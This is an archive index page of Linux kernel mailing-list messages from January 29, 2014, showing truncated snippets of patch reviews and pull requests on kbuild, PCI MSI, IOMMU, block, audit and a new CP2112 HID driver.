On Wed, Jan 29, 2014 at 03:19:51PM -0200, Fabio Estevam wrote: > On Wed, Jan 29, 2014 at 3:04 PM, Tejun Heo wrote: > > kernfs_deactivate() forgot to check whether KERNFS_LOCKDEP is set > > before performing lockdep annotations and ends up feeding > > uninitialized lockdep_map to lockdep triggering

Re: [PATCH] block: __elv_next_request() shouldn't call into the elevator if bypassing

2014-01-29 Thread Frank Mayhar
On Wed, 2014-01-29 at 15:26 -0500, Tejun Heo wrote: > request_queue bypassing is used to suppress higher-level function of a > request_queue so that they can be switched, reconfigured and shut > down. A request_queue does the followings while bypassing. > > * bypasses elevator and io_cq associati

[GIT] kbuild changes for v3.14-rc1

2014-01-29 Thread Michal Marek
Hi Linus, please pull these kbuild bits for v3.14-rc1: - Fix make -s detection with make-4.0 - Fix for scripts/setlocalversion when the kernel repository is a submodule - Do not hardcode ';' in macros that expand to assembler code, as some architectures' assemblers use a different character fo

Re: [PATCH] block: __elv_next_request() shouldn't call into the elevator if bypassing

2014-01-29 Thread Jens Axboe
On Wed, Jan 29 2014, Tejun Heo wrote: > request_queue bypassing is used to suppress higher-level function of a > request_queue so that they can be switched, reconfigured and shut > down. A request_queue does the followings while bypassing. > > * bypasses elevator and io_cq association and queues

Re: [GIT PULL] bcache fixes for 3.14

2014-01-29 Thread Jens Axboe
On Wed, Jan 29 2014, Kent Overstreet wrote: > Jens, couple small bcache fixes for you: Thanks, will pull in once Linus is merged up. -- Jens Axboe -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info

Re: [PATCH v2 7/9] vfio: Use pci_enable_msi_range() and pci_enable_msix_range()

2014-01-29 Thread Bjorn Helgaas
On Fri, Jan 17, 2014 at 05:02:21PM +0100, Alexander Gordeev wrote: > As result deprecation of MSI-X/MSI enablement functions > pci_enable_msix() and pci_enable_msi_block() all drivers > using these two interfaces need to be updated to use the > new pci_enable_msi_range() and pci_enable_msix_range()

Re: [PATCH v2 9/9] wil6210: Use pci_enable_msi_range()

2014-01-29 Thread Bjorn Helgaas
On Fri, Jan 17, 2014 at 05:02:23PM +0100, Alexander Gordeev wrote: > As result deprecation of MSI-X/MSI enablement functions > pci_enable_msix() and pci_enable_msi_block() all drivers > using these two interfaces need to be updated to use the > new pci_enable_msi_range() and pci_enable_msix_range()

[GIT] kbuild: nuke remaining occurences of __TIME__/__DATE__

2014-01-29 Thread Michal Marek
Hi Linus, this series by Josh finishes the removal of __DATE__ and __TIME__ from the kernel. The last patch adds -Werror=date-time to KBUILD_CFLAGS to stop these from reappearing. Part of the series went through Greg's trees during this merge window, which is why this pull request is not based on

Re: [PATCH v2] x86, tsc: Add missing Baytrail frequency to the table

2014-01-29 Thread Bin Gao
On Tue, Jan 28, 2014 at 02:04:07PM +0200, Mika Westerberg wrote: > Actually it does not work. I had the fallback path still in the patch when > I tried. Let's merge the ptach v2 then(continue on msr calibration retuning 0). All supported SoCs now have the correct frequency ID coding so continuing

Re: [PATCH v2 0/9] Phase out pci_enable_msi_block()

2014-01-29 Thread Bjorn Helgaas
On Sat, Jan 18, 2014 at 09:59:40AM -0500, Tejun Heo wrote: > On Sat, Jan 18, 2014 at 07:38:55AM -0700, Bjorn Helgaas wrote: > > On Sat, Jan 18, 2014 at 12:15 AM, Alexander Gordeev > > wrote: > > > On Fri, Jan 17, 2014 at 02:00:32PM -0700, Bjorn Helgaas wrote: > > >> > As the release is supposedly

[GIT] kbuild misc changes for v3.14-rc1

2014-01-29 Thread Michal Marek
Hi Linus, the non-critical part of kbuild is small this time: - Three fixes for make deb-pkg - A new coccinelle check One of the deb-pkg fixes is a leftover from the last merge window, hence the merge commit. Thanks, Michal The following changes since commit 6ce4eac1f600b34f2f7f58f9cd8f0503d79e

[git pull] IOMMU Updates for Linux v3.14

2014-01-29 Thread Joerg Roedel
Hi Linus, The following changes since commit d6e0a2dd12f4067a5bcefb8bbd8ddbeff800afbc: Linux 3.13-rc7 (2014-01-04 15:12:14 -0800) are available in the git repository at: git://git.kernel.org/pub/scm/linux/kernel/git/joro/iommu.git tags/iommu-updates-v3.14 for you to fetch changes up to d

Re: [PATCH 10/9] PCI/MSI: Undeprecate pci_enable_msi()

2014-01-29 Thread Bjorn Helgaas
On Fri, Jan 17, 2014 at 10:26:20AM +0100, Alexander Gordeev wrote: > Signed-off-by: Alexander Gordeev I applied this to pci/msi, thanks! > --- > Documentation/PCI/MSI-HOWTO.txt | 23 --- > 1 files changed, 20 insertions(+), 3 deletions(-) > > diff --git a/Documentation/PC

Re: latest git usb3.0 ports not working

2014-01-29 Thread Sarah Sharp
On Tue, Jan 21, 2014 at 02:17:06PM -0800, Sarah Sharp wrote: > On Tue, Jan 21, 2014 at 07:47:22PM +0100, Branimir Maksimovic wrote: > > asus maximus v gene motherboard, > > this is from dmesg: > > > > [ 75.576160] xhci_hcd :03:00.0: Timeout while waiting for a slot > > [ 88.991634] xhci_hc

Re: [PATCH 11/9] PCI/MSI: Phase out pci_enable_msi_block()

2014-01-29 Thread Bjorn Helgaas
On Fri, Jan 17, 2014 at 10:27:38AM +0100, Alexander Gordeev wrote: > This update obsoletes pci_enable_msi_block() function > in favor of pci_enable_msi_range(). > > Signed-off-by: Alexander Gordeev > --- > drivers/pci/msi.c | 17 +++-- > include/linux/pci.h |7 ++- > 2 fi

[GIT PULL] platform/chrome: Cleanups and improvements

2014-01-29 Thread Olof Johansson
Hi Linus, For 3.13 we split off the Chromebook platform pieces to their own platform directory since I anticipated adding more code that cuts across both x86 and ARM to it. It didn't happen for 3.14, but likely for next release. I apologize for the random merge base -- I temporarily started the b

Re: [PATCH v2 1/6] audit: Enable arm64 support

2014-01-29 Thread Richard Guy Briggs
On 14/01/29, Richard Guy Briggs wrote: > On 14/01/27, AKASHI Takahiro wrote: > > [To audit maintainers] > > > > On 01/23/2014 11:18 PM, Catalin Marinas wrote: > > >On Fri, Jan 17, 2014 at 08:13:14AM +, AKASHI Takahiro wrote: > > >>--- a/include/uapi/linux/audit.h > > >>+++ b/include/uapi/linux

Re: [linux-sunxi] Re: [RFC PATCH v2 09/14] mtd: nand: add sunxi NFC dt bindings doc

2014-01-29 Thread Henrik Nordström
ons 2014-01-29 klockan 11:11 -0600 skrev Rob Herring: > Isn't allwinner,rb implied by a lack of rb-gpios property. Or no R/B > pin is an option? If so, don't you need some fixed time delay > properties like max erase time? > > rb-gpios could be added to the generic nand binding as well. The Allw

Re: compile error on linus git with ppc64

2014-01-29 Thread Benjamin Herrenschmidt
On Wed, 2014-01-29 at 01:00 -0800, David Rientjes wrote: > On Wed, 29 Jan 2014, Benjamin Herrenschmidt wrote: > > > I have a fix queued up in next, I'll ask Linus to pull tomorrow. > > > > Which fix? From linux-next-20140129: I pushed it yesterday, it might not

Re: [PATCH] memblock: Add limit checking to memblock_virt_alloc

2014-01-29 Thread Tony Luck
Hmmph. ia64 is broken too. git bisect says: commit ad6492b80f60a2139fa9bf8fd79b182fe5e3647c Author: Yinghai Lu Date: Mon Jan 27 17:06:49 2014 -0800 memblock, nobootmem: add memblock_virt_alloc_low() is to blame. But this patch doesn't fix it. Still dies with: PID hash table entries:

[PATCH v4] HID: New hid-cp2112 driver

2014-01-29 Thread David Barksdale
This patch adds support for the Silicon Labs CP2112 "Single-Chip HID USB to SMBus Master Bridge." This is a HID device driver which registers as an i2c adapter and gpiochip to expose these functions of the CP2112. The customizable USB descriptor fields are exposed as sysfs attributes. The SMBus by

<    1   2   3   4   5   6   >